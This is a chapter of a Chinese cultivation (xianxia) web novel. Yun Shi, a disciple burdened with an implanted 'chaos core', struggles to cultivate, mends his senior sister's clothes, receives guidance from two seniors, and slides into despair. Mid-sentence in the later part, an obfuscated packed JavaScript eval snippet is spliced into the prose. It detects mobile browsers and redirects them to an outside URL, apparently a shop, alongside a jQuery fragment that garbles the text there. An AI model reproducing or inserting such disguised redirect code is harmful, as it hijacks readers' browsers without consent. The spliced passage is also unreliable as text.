流衍师兄待他极好。尽管流衍自己并非霁雪仙尊座下大弟子,甚至在寒霁峰一众弟子中,修为也算不上顶尖(据云实观察和偶尔听闻,流衍大约在“环流期”,正试图冲击“领域期”,这在年轻一辈中已属优秀,但绝非顶尖),但他对云实的关照,却是实实在在的。 除了定期检查他体内“乱丹”状况,教授最稳妥的基础法诀,流衍还会耐心解答他各种粗浅甚至笨拙的问题,提醒他宗门内的一些不成文的规矩和需要避讳的人与事,甚至在他因体质特殊、修炼进展极其缓慢而沮丧时,温言开导。 “修炼之道,本就因人而异,急不得。”流衍曾这样对他说,“你情况特殊,根基与常人不同,更需步步为营,夯实基础。比别人慢些,未必是坏事。” 云实知道,以流衍的修为和地位,亲自教导他这样一个“问题弟子”,其实并不太合适,也未必是仙尊的本意。但流衍还是主动担起了不少责任。这份情谊,云实看在眼里,感激在心。在这个冰冷而荒谬的境遇里,流衍是少数让他感到一丝真实温暖的存在。 他也逐渐从流衍和其他师兄师姐偶尔的交谈,以及自己小心翼翼的打听中,拼凑出了关于自身状况更清晰的图景。 观察和测试的结果,印证了最初的判断:他的先天灵根,确实是“杂灵根”,而且杂得“很均匀”——对“虚实、明暗、寒热、生死、感漠、化凝、序乱、源汇”这八组维度,都有极其微弱且几乎一模一样的亲和力。这种均匀,某种意义上,等于没有突出亲和,也就意味着按照正统修炼路径,他几乎不可能引动任何一系的天地灵气入体,终生与大道无缘。 他能打开苏妄的储物袋,并非他自身灵力之功,而是那储物袋本身设计粗陋,带有一定的“灵力自增强”触发机制,只要有一丁点驳杂的灵气扰动,就能开启。 而苏妄塞给他的那颗“人造内丹”,则像一颗强行投入平静死水中的、属性暴烈纯粹的“乱”之法则种子。这颗“种子”以他均匀的杂灵根为基底,强行将他对所有维度的微弱亲和,都扭曲、吸附、导向了“乱”这一侧,从而在外显的测灵碑上,呈现出纯粹的“乱灵根”假象。 更诡异的是,这种“均匀杂”的基底,与“乱丹”的暴烈属性之间,似乎形成了一种极其脆弱而危险的“闭环”。均匀的杂,像一层韧性极差却分布均匀的薄膜,勉强包裹、缓冲着“乱丹”的躁动;而“乱丹”的力量,又反过来不断侵蚀、同化着这层薄膜,试图将其彻底染成自己的颜色。两者达到了一种极不稳定的共生状态。 “目前看来,这内丹已与你身体初步融合,贸然取出,风险极大,恐伤及你的根本,甚至可能引发‘乱’力失控,造成更严重的后果。”一位专精医道和灵力研究的师姐,在又一次详细的探查后,对云实和旁听的流衍说道,语气平静无波,却让云实心底发凉。 “所以,他现在只能顺着这颗内丹的路子走?”流衍问,眉头微蹙。 “是,也不是。”师姐回答,“‘乱’之法则,毕竟是四交维度之一,并非邪道。理论上,他可以尝试以正统法门,修炼‘乱’灵根。但此丹属性过于暴烈纯粹,且是外力强植,与他自身根基并不完全匹配,修炼起来凶险异常,极易失控。且‘乱’灵根的修炼法门,在我天衡宗并不完备,宗门主流是‘寒热’平衡之道。” 她顿了顿,看向云实:“另一个可能的方向,是借助此丹对‘热’侧的些许牵引(‘乱’常与无序的‘热’动相伴),尝试修炼‘热’(火)灵根。我宗在‘热’之一道的修炼上,有完整传承。但是……” 她的但是,让云实刚升起的一丝微弱希望又悬了起来。 “但是,这同样困难重重。”师姐直言不讳,“首先,需要将他体内那被强行导向‘乱’的亲和,一点点剥离、引导向‘热’,这过程如同在沸腾的油锅里小心分离水滴,稍有不慎便是灵力暴走。其次,他的杂灵根本质未变,对‘热’的先天亲和微乎其微,全靠后天引导和内丹残余影响,进展必将极其缓慢,事倍功半。最后,那颗‘乱丹’始终是个隐患,在修炼‘热’灵根时,它可能成为干扰源,甚至反客为主。” 房间内一时沉默。流衍看着云实苍白沉默的脸,轻轻叹了口气。 云实低着头,看着自己放在膝上、因为紧张而微微蜷起的手指。指甲缝里,似乎还残留着过去在后厨劈柴洗菜时,难以彻底洗净的细微污垢。而现在,那些人讨论的,是他该如何在一条布满荆棘和陷阱、甚至本身就可能是个死胡同的狭窄小道上,艰难求生。 只能修“乱”灵根,或者那条更为崎岖艰难的“热”(火)灵根之路。 这就是他的“仙缘”。建立在一次恶劣的强迫、一颗来历不明的邪丹、和一个诡异偶然的体质之上的,荒诞而沉重的“仙缘”。 他抬起头,望向窗外。寒霁峰终年不化的积雪,在阳光下反射着冰冷刺目的光。那光芒,和他丹田深处那颗暗红色内丹偶尔传来的、带着混乱燥意的微热,形成了鲜明而讽刺的对比。 冰与火。秩序与混乱。他被卡在了中间,不上不下,前途未卜。 可他除了沿着这条被强行铺就的、危机四伏的小路,继续深一脚浅一脚地往前走,似乎,也没有别的选择了。 至少,现在他名义上,是仙尊弟子了。至少,流衍师兄还在尽力帮他。至少……纸鸢偷偷塞给他的那包桂花糖,真的很甜。 5. 【四】 决定是在一个飘着细雪的午后做出的。 云实坐在寒霁峰山脚他那间简陋的弟子房里,窗外是铅灰色的天空和簌簌落下的雪粒。屋内没有炭盆,只有靠运转那微薄且古怪的灵力来抵御寒意。他手里捏着一枚入门时发放的、最基础的玉简,里面刻录着天衡宗引气入体的总纲,以及关于“寒”、“热”两大基础灵根特性的简述。 三个月了。 从被带回宗门,到被仙尊收为记名弟子,再到在各种审视、观察和小心翼翼的指导下开始尝试修炼,已经过去了整整三个月。这三个月,他像一块被丢进激流中的顽石,身不由己地被冲刷、打磨,努力想抓住点什么,却总感觉徒劳。 文化课和基础技巧,他学得很快。那些关于八行维度的理论,关于灵气运转的路径,关于各种基础法诀的手势和口诀,他几乎过目不忘,理解得甚至比一些早入门的弟子还要透彻。这是多年经营布店养成的细致和记账练就的清晰头脑在起作用,也是他此刻唯一能牢牢抓在手里的、实实在在的东西。 修炼本身,却是一团乱麻,或者说,是一场与体内那颗不定时炸弹的艰难拉锯。 那颗人造的“乱”丹,就像一头被强行塞进他丹田的、沉睡的凶兽。不惊动它时,它只是偶尔散发出暗红色的微热,提醒着它的存在。可一旦云实尝试按照正统的“感气-引气”法门,去感应、引导天地间游离的灵气时,这头“凶兽”便会立刻被惊动。 状态好的时候——通常是他心绪极其平静,几乎进入一种空明状态时——他能勉强压制住内丹的躁动,清晰感应到周遭灵气中那些活跃的、带着暖意的“热”之微粒,甚至能将其一丝丝引入体内,沿着既定的经脉缓缓运行。那时,他会觉得自己好像真的摸到了修炼的门槛,感气的敏锐度甚至不输于一些天赋尚可的新弟子。体内会有一股微弱但真实的暖流升起,驱散寒意,带来力量感。 但这种“好状态”极其罕见,且脆弱得像清晨的露珠。更多的时候,只要他心神稍有波动——可能是想起了后厨的刁难,可能是记起了苏妄那张脸,可能是担忧家里的父母弟妹,甚至只是修炼久了感到一丝疲惫——那颗内丹便会立刻“活跃”起来。 不是简单的干扰,而是两种极端。 要么,是“过度”。内丹会突然爆发出远超云实控制能力的吸力,不仅将他努力引入的“热”灵气吞噬一空,还会疯狂攫取周围一切它所能触及的、无论属性的灵气,强行灌入云实体内。这些未经炼化、属性混杂的灵气在他狭窄脆弱的经脉里横冲直撞,带来撕裂般的痛楚和强烈的晕眩、恶心感,仿佛整个人都要被撑爆、被撕裂。好几次,都是守在一旁的流衍师兄及时出手,用他温和醇厚的“寒”性灵力强行镇压、疏导,才避免云实经脉受损甚至更糟的后果。 要么,就是“退化”。内丹会骤然沉寂下去,连同云实自身那点微弱的灵感和刚刚引入的一丝灵气一起,仿佛被无形的力量抽空、冻结。刹那间,他会从刚刚触摸到灵气玄妙的“感气”状态,猛地跌回彻底的“凡人”感知,五感迟钝,身体冰冷,连维持最基础的静坐姿势都感到吃力。之前数日、甚至数旬小心翼翼积累起来的那点气感和经脉适应性,仿佛被一只无形的大手轻易抹去,一切又要从头开始。 三个月来,他就在这种“偶尔出众,时常崩溃,总是归零”的循环中打转。每一次从“过度”的痛楚中缓过来,或者从“退化”的冰冷中挣扎起身,他都能从镜子里看到自己更加苍白的脸色和眼底更深的疲惫。 努力,好像真的没什么用。至少,不像他以前在后厨那样,多劈一捆柴就多一捆柴,多洗一个碗就干净一个碗。在这里,他的努力,他的认真,他的拼命记忆和理解,在体内那颗不受控的“乱丹”面前,显得如此微不足道,甚至可笑。就像用最精致的绣花针,去试图缝补一张被烈火烧出的大洞。 他也曾私下问过流衍,是否有可能……转而修炼“乱”灵根?既然这颗内丹的本质就是“乱”,强行扭转如此困难,不如顺势而为? 流衍沉默了很久,才缓缓道:“师弟,你若修‘乱’灵根,便意味着你要真正接纳、乃至引导这颗内丹的力量。而‘乱’之法则,虽属八行正道,但其修行理念与法门,与我天衡宗秉承的‘寒热平衡、秩序渐进’之道,有根本冲突。宗门之内,并无完备的‘乱’灵根传承。更重要的是……” 他看着云实,眼神清澈而严肃:“混沌派,主修的便是‘乱’与‘热’的极端演化,行事诡谲难测。你若公然修炼‘乱’灵根,且根基源自苏妄所予之物,宗门内难免会有更多猜疑和压力。届时,师尊即便想留你,恐也难堵众人之口。” 云实明白了。修炼“乱”灵根,就等于在自己身上打上了一个更明显的、与“混沌派”、“苏妄”相关的标签。在天衡宗,这无异于自绝后路。他现在能留在这里,名义上是仙尊弟子,实质上是因为仙尊和流衍等人想观察、想尝试“导正”这个意外。如果他主动投向“乱”的一侧,那么连这最后一点“观察价值”和“导正可能”都会失去,等待他的,很可能就是被彻底放弃,甚至被“处理”掉。 他不能离开天衡宗。不仅是因为离开了这里,他无处可去,更因为……天衡宗对他有恩。这份“恩”很复杂,夹杂着审视、利用和居高临下的安排,但不可否认,是流衍将他从仆役的泥潭中拉出,是仙尊给了他一个暂且安身、名义上受庇护的身份,是宗门提供了他修炼所需的基础资源和……那渺茫的、将隐患化为可能的希望。 哪怕这希望如同风中之烛,哪怕这条路崎岖得让人绝望,他也没有别的选择。 所以,他必须修“热”灵根。或者说,他必须沿着这条被天衡宗认可的、试图用“热”来平衡乃至转化“乱”的、看似唯一可行的绝路,走下去。 “我选‘热’灵根。”云实对负责他修炼进度的那位严肃师姐,以及旁听的流衍说道。他的声音很平静,没有犹豫,也没有豪言壮语,只有一种认命般的清晰。 师姐点了点头,脸上没什么表情:“既如此,从明日起,调整修炼侧重。我会传你《离火初蕴篇》基础口诀,配合‘丙火朝阳’桩法。流衍师弟,‘寒’能制‘热’,亦能稳‘乱’,你需更费心看顾,尤其他引气时内丹异动的征兆,务必及时干预。” “我明白,师姐。”流衍应道。 新的修炼开始了,痛苦和挫败也随之升级。《离火初蕴篇》要求修炼者感应并引动天地间纯正的“热”之灵气,尤其是朝阳初升时那一缕蕴含生机的“丙火”之气。这本身就对感知的纯净度有要求。而云实不仅要对抗自己那均匀杂灵根对“热”侧可怜的先天亲和,更要时刻提防体内那颗“乱丹”的暴动——它似乎对一切试图引导、规训它的力量都抱有本能的敌意和吞噬欲。 站“丙火朝阳”桩时,他需要在清晨极寒的山风中,努力放松身体,想象自己如草木迎接朝阳,引那微弱却精纯的暖意入体。可往往暖意刚有苗头,丹田处的暗红内丹便是一跳,要么将那点暖意吸得涓滴不剩,让他如坠冰窟;要么就猛地爆开一团混乱燥热,冲击得他气血翻腾,桩架散乱。 修炼口诀时更是凶险。灵力在特定经脉中运行时,稍有滞涩或心神不宁,“乱丹”的力量便会如附骨之疽般纠缠上来,试图将有序的“热”流搅乱、同化。有好几次,他运行到关键处,整条手臂的经脉都骤然变得滚烫赤红,皮下仿佛有无数细小炽热的虫子在窜动,痛得他几乎昏厥,全靠流衍及时用带着清凉寒意的灵力强行抚平。 进步?如果勉强将“在彻底失控前被流衍救回”的次数减少,算作进步的话,那或许有。但真实的灵力积累、经脉拓宽、对“热”之法则的感悟?微乎其微。三个月来那偶尔几次“状态好”时积攒的底子,在这更为艰难凶险的修炼中,几乎被消耗、抵消殆尽。他感觉自己像个在干涸河床上试图挖掘水渠的人,每一次刚挖出一点形状,就会被突如其来的山洪(内丹暴动)或流沙(灵力溃散)重新填平。 但他还是每天寅时准时起身,顶着寒风站桩,然后一遍遍背诵、尝试运转那拗口的心法,在流衍或那位师姐的看顾下,小心翼翼地在走火入魔的边缘试探。他学得更认真了,不仅记法诀,还试图去理解每一句口诀背后对应的灵力运转原理,观察流衍镇压他体内躁动时,那“寒”性灵力的运行轨迹和带来的感受。他把每一次痛楚、每一次失控、每一次微小的“成功”引气,都仔细记在心里,试图找出规律,哪怕那规律往往在下一次修炼时就被打破。 因为除了这样,他不知道自己还能做什么。放弃吗?回到那间山脚的弟子房,等待着体内隐患某天爆发,或者被宗门判定为“无可救药”而处置?他不甘心。至少,在彻底失败之前,他得对得起流衍师兄一次次耗损灵力为他护法,对得起仙尊那或许仅存一丝的“观察”兴趣,也对得起……曾经那个在后厨烟火中,对着测灵碑方向暗自咬牙的自己。 变化,往往始于最微不足道的细节。 因为他的情况特殊,也因为他这“仙尊记名弟子”的身份实在尴尬,宗门并未指派太多人手教导他。日常负责他修炼进度的,主要就是两人:流衍,以及这位天蕴师姐。 流衍师兄自不必说,天蕴师姐则完全是另一种风格。她看起来比流衍年长几岁,面容姣好却总是绷得紧紧的,眉宇间带着一股生人勿近的冷肃。她很少说话,指导云实时言简意赅,绝不多废一个字,纠正动作或法诀错误时,手指点出如电,精准却不容置疑。云实对她,是七分敬畏,三分怕。 然而,或许是太过沉闷压抑的修炼日子需要一点转移注意力的出口,又或许是多年经营布料生意养成的习惯使然,云实开始不自觉地观察起这位严肃的师姐。 他很快发现,天蕴师姐的“教”与“不教”,状态截然不同。教导他时,她穿着宗门统一的淡青色女弟子长袍,宽袍大袖,行动间却依旧干净利落。而当她独自在后山一处僻静空地修炼时,则会脱下碍事的长袍,换上一身极其利落的靛蓝色短打劲装。 那身短打,显然是她惯常练武时所穿。云实偷偷看过几次(当然是在完成自己修炼任务后,远远地、装作不经意地路过),只见天蕴师姐赤手空拳,或手持一柄样式古朴、非金非木的黑色短棍,腾挪闪转,拳脚生风。她的动作刚猛迅捷,却又带着一种奇异的流畅感,发力时筋肉线条分明,收势时稳如磐石,与云实见过的其他修士那种飘然出尘、多以法诀灵光对敌的风格迥然不同。 是丁,师姐练的似乎是……传统武术的路子?甚至她用的“仙器”(如果那黑棍算的话),也朴素得不像法器,倒像一件纯粹用于近身搏击的武器。这让云实颇感新奇。 “师姐……好帅啊。”有一次,他远远看着天蕴师姐一个干净利落的回旋踢,劲风扫起地上积雪,心中不由自主地冒出这个念头。但旋即又自己摇头,天蕴师姐美则美矣,可那周身散发的冰冷严肃气息,实在让人不敢亲近,他还是有点怕的。 除了修炼风格,云实还注意到一个细节:天蕴师姐那身练功的短打,似乎破损得很快。有时是肘部磨出了毛边,有时是膝弯处撕裂了小口,有时甚至肩背位置都有明显的破洞。以修士的手段,修补衣物不过举手之劳,或者直接换新便是。但云实好几次听到师姐在独自修炼间歇,看着衣角新添的破口,会极轻微地皱一下眉,低声自语:“又破了……麻烦。”语气倒不是心疼衣物,更像是不耐烦这种琐事打断她的专注。 她似乎并不缺衣服,只是单纯不喜欢浪费,或者觉得频繁更换、修补很影响她沉浸于武技修炼的心境。这个发现,让云实心中一动。 他想起了母亲。母亲林秀是持家好手,尤其擅长缝补。家里布店难免有瑕疵布匹或顾客退货的残次品,母亲总能妙手回春,用“狗牙边”、“贴布绣”、“暗针回缝”等手法,将破口修补得既牢固又不显突兀,甚至别具特色。云实从小耳濡目染,也学了些皮毛,在后厨时,自己那身粗布工服破了,也都是自己悄悄缝补。 一个念头,在他心里酝酿了好几天。终于,在一次天蕴师姐指导完他,脸上依旧没什么表情,转身欲走时,云实鼓起勇气,上前一步,声音不大却清晰地说道:“师姐,请留步。” 天蕴停下脚步,回头看他,眼神平静无波,带着询问。 云实咽了口唾沫,指了指她换在一旁石凳上的、那件肘部有明显磨损的靛蓝短打:“师姐,我……我家里原是开布店的,我学过一些缝补的手艺。我看您这练功服……磨损得厉害。如果您不嫌弃,可以……可以给我两件旧的,我保证……保证给您改得结实耐穿,怎么练都不容易破。” 天蕴似乎愣了一下,目光在云实脸上停留片刻,又扫向那件破旧的短打。她没立刻回答,像是在掂量这个提议。 云实的心提了起来,生怕自己唐突了。 片刻,天蕴才淡淡开口:“你会补?” “会一些。”云实连忙点头,“我母亲教过‘狗牙补’和‘贴布绣’,用来加固经常活动的关节位置,很有效。” 天蕴又沉默了一下,就在云实以为她要拒绝时,她却点了点头:“可。”转身从旁边一个不起眼的布包里,拿出两件同样靛蓝色、但明显更旧、破损处更多的短打,递给云实。“不必改得好看,牢固即可。” 云实双手接过,触手是洗得发硬却干净的棉布质感。“谢谢师姐信任!我一定尽力!” 接下来的几天,云实在完成日常修炼和功课之余,所有空闲时间都用来对付这两件短打。他向执事房申请了最粗的棉线和几块颜色相近的零碎厚布,就着油灯,一针一线,仔细琢磨。 他没有简单地缝补破洞,而是按照母亲教的方法,将“狗牙边”用在袖口、领口、下摆等易开线处,用紧密交错的三角形针脚锁边,增加耐磨性;在肘部、膝弯、肩背这些经常拉伸、摩擦的部位,他从内部衬上裁剪合适的厚实布料,用“贴布绣”的手法,以结实的回针将衬布与衣物本体牢牢缝死,边缘处理得光滑平整,不影响活动;对于一些细小的裂口或磨损处,他也用同色线细细织补,尽量不留痕迹。 他做得极其认真,仿佛回到了家中布店后院,母亲在一旁指点,阳光透过天井洒在手中的布料上。这熟悉的手工活计,给了他久违的、能切实掌控和完成某件事的踏实感。 几天后,他将修补好的两件短打,洗净叠好,恭敬地还给天蕴师姐。 天蕴接过,展开看了看。她的手抚过那些加固的部位,指腹感受着细密扎实的针脚和加衬的厚度,脸上那万年不变的冷肃表情,似乎有了一瞬间极其细微的松动。她没说什么,只是点了点头,便将衣服收了起来。 又过了几日,云实再次“路过”后山空地时,发现天蕴师姐身上穿的,正是其中一件他修补过的短打。师姐练得依旧投入,拳风呼啸,但那衣服的肘部、肩背处,果然没有再出现新的破损。 自那以后,天蕴师姐很少再因衣服破损而皱眉自语。她似乎默许了云实这份“额外服务”,隔一段时间,就会将需要修补的练功服交给他。而云实也乐此不疲,甚至开始尝试用不同质地、颜色的零布进行搭配加固,在不影响牢固的前提下,让修补后的衣服看起来不那么单调。 这件小事,像一颗投入平静湖面的小石子,漾开了一圈意想不到的涟漪。 天蕴师姐对他的态度,依旧谈不上热情,但那种冰冷的隔阂感,似乎减少了一些。她依旧话少,但在指导云实修炼时,偶尔会多解释一两句发力的原理,或者某个法诀手势的细微调整对灵力引导的影响。甚至有一次,在他又一次因“乱丹”干扰而引气失败、经脉隐隐作痛时,天蕴没有立刻用灵力帮他镇压,而是让他停下,沉声道:“痛在何处?如何痛法?细细说来。” 云实忍着不适,描述那种灼热乱流在特定经脉窜动的感觉。天蕴听完,思索片刻,竟直接上手,在他手臂和胸腹几处穴位快速点按了几下。那手法并非灵力灌输,更像是凡俗武学中的推宫过穴,力道精准,带着一股奇特的震颤。说来也怪,那几处穴位被点按后,体内乱窜的燥热感竟真的平息了不少,虽然内丹依旧暗沉躁动,但至少经脉的痛楚大为缓解。 “外力强植,如骨中刺。强拔伤身,需寻隙导之。”天蕴收回手,说了这么一句有些晦涩的话,“你体质特殊,灵力运行与常人迥异,照搬法诀,事倍功半。须得先明己‘体’,再寻适己之‘用’。” 这是天蕴第一次对他说这么多话,虽然依旧言简意赅,却让云实若有所思。 更让云实没想到的是,自那之后,天蕴师姐偶尔会“开小灶”。不是在正式修炼时间,而是在某个清晨或傍晚,她练完功,若见云实在附近(云实后来去后山“路过”得更勤了),便会招手让他过去,也不多言,直接演示几个她刚才练习的、改良过的武技动作,或者讲述一些关于“力”的运用、“劲”的收发、“势”的积累的粗浅道理。这些道理并非直接对应灵力修炼,却往往能触动云实,让他对自己体内那难以掌控的“乱丹”之力,有了一些模糊的、新的理解。 天蕴的“小灶”核心,隐隐指向一个方向:先天灵根偏好(比如纯粹的“热”或“寒”)决定了你起点能引动多大力量,这关乎“强不强”;但后天的修炼、运用、调和,决定了你能否真正掌控和用好这份力量,这关乎“会不会用”。而修炼的终点,或许并非单一属性的极致,而是一种动态的、包罗万象的“平衡”。她甚至猜测,云实这种情况,如果真能走到极高境界,或许呈现的并非纯粹的火灵根或乱灵根,而是一种更诡异的状态——看似“乱”,却乱中有序,能兼容、转化、运用天下各种属性的力量,因为他的基底,本就是“均匀的杂”。 这个想法大胆得让云实心惊,却也隐隐给了他一丝不同于流衍师兄所给希望的、别样的可能性。 几乎与此同时,流衍师兄那边,似乎也察觉到了云实与天蕴师姐之间那点微妙的互动变化。流衍依旧温和,依旧定期检查他的内丹状况,为他护法,但在一次云实修炼后精神尚可时,流衍也罕见地多留了片刻,与他闲聊般说起修炼心得。 流衍的“小灶”,角度又与天蕴不同。他更侧重于“体”和“本”。他会肯定云实在文化理论学习和灵力细微操控上展现出的、超乎常人的敏锐和耐心,称之为“天赋”。 “师弟,你虽灵根特异,起步维艰,但这份心性和悟性,实属难得。”流衍温言道,“那颗人造内丹,虽是你目前最大的阻碍,但换一个角度看,它也强行在你那‘均匀杂’的基底上,开辟出了一条……或许本不存在的路径。它像一块砸进死水的巨石,固然激起滔天浊浪,却也打破了死寂。” 他顿了顿,目光深远:“师尊曾言,万物负阴而抱阳,冲气以为和。你这内丹属‘乱’,性燥热;你自身基底驳杂,却隐含未发之机。若将来有一日,你能寻得方法,不是强行压制或驱除这颗‘乱丹’,而是……将其真正化为己用,哪怕只是作为一块跳板,一个起点呢?” 流衍看向云实,眼神清澈而带着鼓励:“当然,前路凶险,你切不可贸然妄为。但有我和天蕴师姐看着,有宗门为后盾,你大可安心尝试。记住,若有任何不测,或感觉无法掌控,定要第一时间告知我。” 天蕴师姐的“小灶”,告诉他或许可以追求一种独特的“运用”与“平衡”;流衍师兄的“小灶”,则肯定了他的“天赋”和“可能性”,并给了他“起点论”的安全感和支持。 两个人,两种不同的视角和引导方式,如同两道细微却坚定的光,照进了云实那布满迷雾和荆棘的修炼之路上。 他依旧每日与那颗暗红色的、躁动不安的内丹搏斗,依旧进步缓慢,时好时坏,依旧在“偶尔出众”和“时常归零”之间摇摆。 但有什么东西,似乎悄悄改变了。 他修补衣服时更加用心,甚至开始留意宗门内不同弟子服饰的用料和裁剪特点;他观察天蕴师姐练武时,不再只看热闹,开始尝试理解那些动作背后关于“力”与“控制”的原理,并隐约觉得,这或许对自己驾驭体内那股混乱的力量有帮助;他再听流衍师兄讲解灵力运行之道时,会不由自主地联想到天蕴师姐关于“用”和“平衡”的点拨。 那颗被视为诅咒和阻碍的“人造内丹”,在流衍师兄的话语中,似乎被赋予了另一种晦涩难明的意义——一个痛苦的、强制的、却可能独一无二的“起点”。 而那个“起点”通往何方?是如天蕴师姐猜测的,乱中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934563|192840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求衡,兼容并蓄?还是最终被这暴烈的“乱”力彻底吞噬,或是在尝试“热”灵根的路上耗尽心力? 云实不知道。 他只知道,自己依旧走在这条被强行铺就的、狭窄而危险的路上。但路的两旁,似乎不再是一片绝对的黑暗和虚无。有一道冷冽如冰刃、却坚实可靠的身影(天蕴),和一道温润如暖玉、始终护持在侧的身影(流衍),正以他们各自的方式,为他照亮脚下方寸之地,也为他指向了远方朦胧却不同的可能。 雪还在下。寒霁峰的冬天似乎格外漫长。 …… 时间,在枯燥的引气、失败、痛楚、归零的循环中,悄无声息地滑走,快得令人心悸,又慢得如同钝刀割肉。 山门内的四季更迭,似乎只体现在寒霁峰上积雪的厚度和庭院里几株灵植抽芽落叶的周期上。对于云实而言,每一天都像是前一天的复刻:寅时起身,站那永远感受不到“丙火朝阳”真正暖意的桩;在流衍师兄或天蕴师姐的监督下,与体内那颗暗红色内丹进行绝望的拉锯;夜晚则拖着疲惫不堪、时而隐痛的身体回到冷清的弟子房,就着油灯翻看早已滚瓜烂熟的玉简,或是修补一两件师姐扔过来的、带着汗渍和破损的练功服。 与他差不多同期进入宗门、通过正常途径招收的那些年轻弟子们,早已纷纷传来好消息。某某突破了“感气期”,正式踏入“锚定期”,选定了自己的“本命矛盾”;某某在某一维度上展现出特殊天赋,被某位长老看中,收为亲传;就连当初在后厨一起打杂、后来被分去别的杂役处的几个同龄人,也有两个据说得了机缘,被外院某位管事赏识,开始接触一些粗浅的修行法门。 只有云实,依旧卡在最初的关卡,进退维谷。他的“感气”时灵时不灵,状态好的时候,能清晰捕捉到灵气中那些活跃的“热”之微粒,甚至比一些刚入门的弟子还要敏锐;状态糟的时候,不仅感应全无,连带着之前积攒的那点微薄气感和经脉适应性,也会被体内乱丹的暴动或沉寂冲刷得干干净净。他就像一只被困在琥珀里的飞虫,能看到外面世界的流转变化,自己却动弹不得,被牢牢禁锢在起步的原点。 而曾经关照他的那两个人,却已乘风而起,将他远远抛在了身后。 流衍师兄和天蕴师姐,双双突破了“环流期”的瓶颈,踏入了“法则期”,并且进展神速,据说已臻圆满之境,只待机缘便能尝试冲击更高的“造化期”。他们成了天衡宗这一代弟子中最为耀眼的双子星,备受宗门上下瞩目。流衍师兄依旧温和,但眉宇间多了几分沉稳威仪,事务也愈发繁忙,来查看云实修炼状况的次数,不可避免地减少了。天蕴师姐则更显冷峻干练,据说已被委以重任,时常离山执行宗门任务,即便回来,也多是匆匆指点云实几句,便又投入自己的修炼或事务中。 更让云实有些恍惚的是,不知从何时起,宗门内开始流传关于流衍与天蕴的“佳话”。说他们二人志同道合,修为相若,乃是天造地设的一对,甚至隐约有风声,说双方师长都有意撮合,或许不日便将结为道侣。 听到这些传言时,云实正在修补一件天蕴师姐练功时撕裂了肩袖的短打。针尖猝然刺入指腹,沁出一粒鲜红的血珠,落在靛蓝色的粗布上,迅速洇开一小团暗色。他愣愣地看着那点血迹,心里头空落落的,说不上是什么滋味。好像本该如此,又好像……有什么东西,随着时间一起,无声无息地流走了,再也抓不回来。 纸鸢的消息,来得更迟,也更让他猝不及防。 那是一个秋意已深、落叶满地的下午,云实刚从一次险些失控的引气中缓过劲来,脸色苍白地坐在后山空地边缘的石头上喘息。一位曾在后厨共事过、如今调来寒霁峰做些洒扫工作的老杂役,趁着四周无人,悄悄蹭到他身边,压低声音道:“云实小哥,你还记得那个叫纸鸢的姑娘不?” 云实心头一跳,点了点头。 “她走啦,半年前就走了。”老杂役咂咂嘴,“听说是她自己提出的,说在仙门开了眼界,也攒了些钱,家里造纸坊的生意需要人手,就回去了。走的时候还挺高兴,跟几个相熟的人都道了别。” 纸鸢……走了?半年前? 云实呆呆地坐着,半晌没有反应。秋风吹过,卷起几片枯黄的叶子,打着旋落在他脚边。那个会偷偷塞给他桂花糖和奇怪画本子、会为他抱不平、会认真听他说话、眼睛亮晶晶的姑娘,已经离开半年了。而他,竟全然不知。 是了,他这半年,全部的心神都耗在了与体内那颗内丹无望的争斗上,耗在了对自己停滞不前的焦虑和绝望中,几乎与外界隔绝。纸鸢或许找过他,或许托人带过话,但他沉浸在自己的困境里,一无所觉。 一种迟来的、巨大的孤独和失落,瞬间淹没了他。纸鸢是他与过去那个平凡世界、与真实温度和情感的最后一点真切联系。现在,连这点联系也断了。她见识了仙门,然后选择回到了她熟悉的、踏实的人间烟火里。而他,却还困在这高墙之内,进退维谷。 撑不下去了。 这个念头,如同蛰伏已久的毒蛇,终于在他最脆弱的时候,昂起了头,吐着冰凉的芯子。 回家吧。 像纸鸢一样,回到青石镇,回到“云锦记”,回到父母弟妹身边。那里有实实在在的布料,有熟悉的染料气味,有算盘珠子的清脆声响,有家人的关切和唠叨。或许,他可以好好研究那个储物袋,想办法改良家里的生意,让父母轻松些,供弟弟妹妹读更好的书…… 可是,这个念头刚升起,就被更深的羞愧和无力感击得粉碎。 回家?以什么样的面目回去? 当初离家时,他满怀盲目的期望,想要触碰仙缘,想要改变命运,想要保护家人。如今,几年过去,他除了一个尴尬的“仙尊记名弟子”虚名,一身古怪难缠的隐患,和口袋里那点微不足道的、省吃俭用攒下的月例灵石,还剩下什么? 浪费了这么多时间,一事无成。仙道未入,凡俗的技能也生疏了。回去告诉父母,儿子这些年在外,除了给人缝补了几件衣服,就是每日和自己肚子里一颗别人硬塞的“石头”较劲,还总输? 他没有脸面回去。 而且,宗门……似乎也快要容不下他了。霁雪仙尊自收他为记名弟子那日见过一面后,便再未召见过他。他的存在,仿佛已经被遗忘,或者被默认为了一个“观察中但暂无价值”的标签。负责教导他的流衍和天蕴日渐忙碌,境界高远,还能分多少心神在他这个数年毫无寸进的“问题弟子”身上?其他同门,更是早已将他视作一个奇怪而边缘的存在,无人问津。 他能感觉到,一种无形的、冰冷的压力正在收紧。或许不久之后,一纸“资质不足,难堪造就”的评定下来,他就将被“礼送”出山门,连现在这点微末的庇护和资源都会失去。 到了那时,他连这最后一点“仙门弟子”的遮羞布都没有了,又该如何自处? 绝望如同冰冷的潮水,一波波冲击着他早已摇摇欲坠的心防。他太想突破了,太想进步了,太想真正踏入那个门槛,哪怕只是最低的“锚定期”,证明自己这些年并非全然虚度,证明自己……还有一点价值。 可是,路在哪里? 正统的火灵根之路,已被证明是死胡同,与体内那颗“乱丹”冲突剧烈,寸步难行。流衍师兄和天蕴师姐的“小灶”,给了他不同的视角和希望,但那希望太过渺茫,需要的时间、机缘、悟性,他一样都没有。 就在这无边的黑暗和逼仄中,一个被他刻意深埋、绝不愿想起的名字,带着一种诡异而危险的诱惑力,悄然浮现在脑海—— 苏妄。 